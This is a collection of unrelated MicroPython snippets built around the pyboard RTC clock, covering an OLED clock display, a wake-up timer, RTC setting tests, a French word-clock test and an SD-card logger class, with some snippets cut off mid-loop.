''' # 导入相关模块 from pyb import RTC from machine import Pin, I2C from ssd1306x import SSD1306_I2C import utime # 定义星期和时间(时分秒)显示字符列表 week = ['Mon', 'Tues', 'Wed', 'Thur', 'Fri', 'Sat', 'Sun'] time = ['', '', ''] # 初始化所有相关对象 i2c = I2C(sda=Pin("P0"), scl=Pin("P2"), freq=80000) #频率8MHz oled = SSD1306_I2C(128, 64, i2c, addr=0x3c) rtc = RTC() # 首次上电配置时间,按顺序分别是:年,月,日,星期,时,分,秒,次秒级;这里做了 # 一个简单的判断,检查到当前年份不对就修改当前时间,开发者可以根据自己实际情况来 # 修改。 if rtc.datetime()[0] != 2019: rtc.datetime((2019, 4, 1, 1, 0, 0, 0, 0)) while True: datetime = rtc.datetime() # 获取当前时间 oled.fill(0) # 清屏显示黑色背景 oled.text('01Studio', 0, 0) # 首行显示01Studio oled.text('RTC Clock', 0, 15) # 次行显示实验名称
def set_timer(): # Set the wake-up timer for periodic starting tm = conf.SAMPLE_MIN * 60 * 1000 # multiply by seconds per minute and miliseconds RTC().wakeup(tm)
# RTC Example # # This example shows how to use the RTC. import time from pyb import RTC rtc = RTC() rtc.datetime((2013, 7, 9, 2, 0, 0, 0, 0)) while (True): print(rtc.datetime()) time.sleep(1000)
""" test_wording.py - test translation from clock (h:m) to words. EG: 23:40 -> ['IL', 'EST', 'DOUZE', 'HEURES', 'MOINS', 'VINGT'] * Author(s): Meurisse D. from MCHobby (shop.mchobby.be). See project source @ https://github.com/mchobby/pyboard-projects/tree/master/word-clock """ from wclib import * # Initialize a date structure from pyb import RTC rtc = RTC() dt = rtc.datetime() delta_min = 3 # increment by 3 minutes total_min = 0 while total_min < 1440: # up to 24H words = time_to_words(dt[4], dt[5]) print( "%2s:%2s -> %s" % ( dt[4], dt[5], words) ) total_min = total_min + delta_min # Add minutes to date _l = list( dt ) # Tuple to list (because tuple are immutable) _l[5] += 3 if _l[5]>59: _l[4] += 1 _l[5] = _l[5]-59 if _l[4]>23: _l[4] = 0
import pyb, stm from pyb import RTC rtc = RTC() rtc.init() print(rtc) # make sure that 1 second passes correctly rtc.datetime((2014, 1, 1, 1, 0, 0, 0, 0)) pyb.delay(1001) print(rtc.datetime()[:7]) def set_and_print(datetime): rtc.datetime(datetime) print(rtc.datetime()[:7]) # make sure that setting works correctly set_and_print((2000, 1, 1, 1, 0, 0, 0, 0)) set_and_print((2000, 1, 31, 1, 0, 0, 0, 0)) set_and_print((2000, 12, 31, 1, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 1, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 0, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 1, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 12, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 13, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 0, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 1, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 59, 0, 0)) set_and_print((2016, 12, 31, 7, 23, 59, 1, 0))
class airpy_logger: def __init__(self, priority, caching_enabled=False): """ Logger entry point :param priority: logger default priority :param caching_enabled: caching toggle :return: """ self.__LOGGER_PRIORITY = priority self.__CACHING_ENABLED = caching_enabled self.__CACHE = [] self.__CACHE_MAX_LENGTH = 5 self.__RTC = RTC() datetime = self.__RTC.datetime() app_config = {"serial_only": False, "fs_root": ""} try: app_config = load_config_file("app_config.json") os.mkdir("log") except: pass fs_root = app_config['fs_root'] self.__AIR_PY_LOG = ("%slog/airpy-airpy-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__SYSTEM_LOG = ("%slog/airpy-system-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__MISSION_LOG = ("%slog/airpy-mission-log-D%02d-H%02d-m%02d.txt" % (fs_root, datetime[2], datetime[4], datetime[5])) self.__FILESYSTEM_AVAILABLE = app_config["serial_only"] self.__IN_MISSION = False info("AirPy logger. File sytem available {}".format(app_config['serial_only'])) def __validate_priority(self, priority): """ Determines if log can be printed :param priority: priority to be matched :return: """ return priority >= self.__LOGGER_PRIORITY def __write_on_sd(self, priority, text): """ Writes on sd :param priority: selected log priority :param text: text to be written :return: """ try: if self.__IN_MISSION: self.mission_log.write("%s\n" % text) else: if priority == AIRPY_SYSTEM and self.__FILESYSTEM_AVAILABLE: system_log = open(self.__SYSTEM_LOG, "a") system_log.write("%s\n" % text) system_log.close() print("Serial log:{}".format(text)) if self.__FILESYSTEM_AVAILABLE: self.__cache_log(text) except OSError: pass def __cache_log(self, text): """ Caches log :param text: text to be cached :return: """ if len(self.__CACHE) == self.__CACHE_MAX_LENGTH: self.flush() self.__CACHE.append(text) if not self.__CACHING_ENABLED: self.flush() def flush(self): """ Flushes the content of cache to file log """ air_py_log = open(self.__AIR_PY_LOG, "a") for text in self.__CACHE: air_py_log.write("%s\n" % text) air_py_log.close() self.__CACHE = [] def airpy_log(self, priority, text): """ Final gateway before writing the log :param priority: text priority :param text: text to be written :return: """ if not self.__validate_priority(priority): return datetime = self.__RTC.datetime() time = ("%02d-%02d-%02d:%03d" % (datetime[4], datetime[5], datetime[6], datetime[7])) log_line = ("%s\t%s" % (time, text)) self.__write_on_sd(priority, log_line) def set_logger_priority(self, priority): """ Sets logging priority :param priority: new priority value :return: """ self.__LOGGER_PRIORITY = priority def set_mission_status(self, enabled): """ Changes mission status :param enabled: true means in mission """ self.__IN_MISSION = enabled if enabled: self.mission_log = open(self.__MISSION_LOG, "a") else: self.mission_log.close()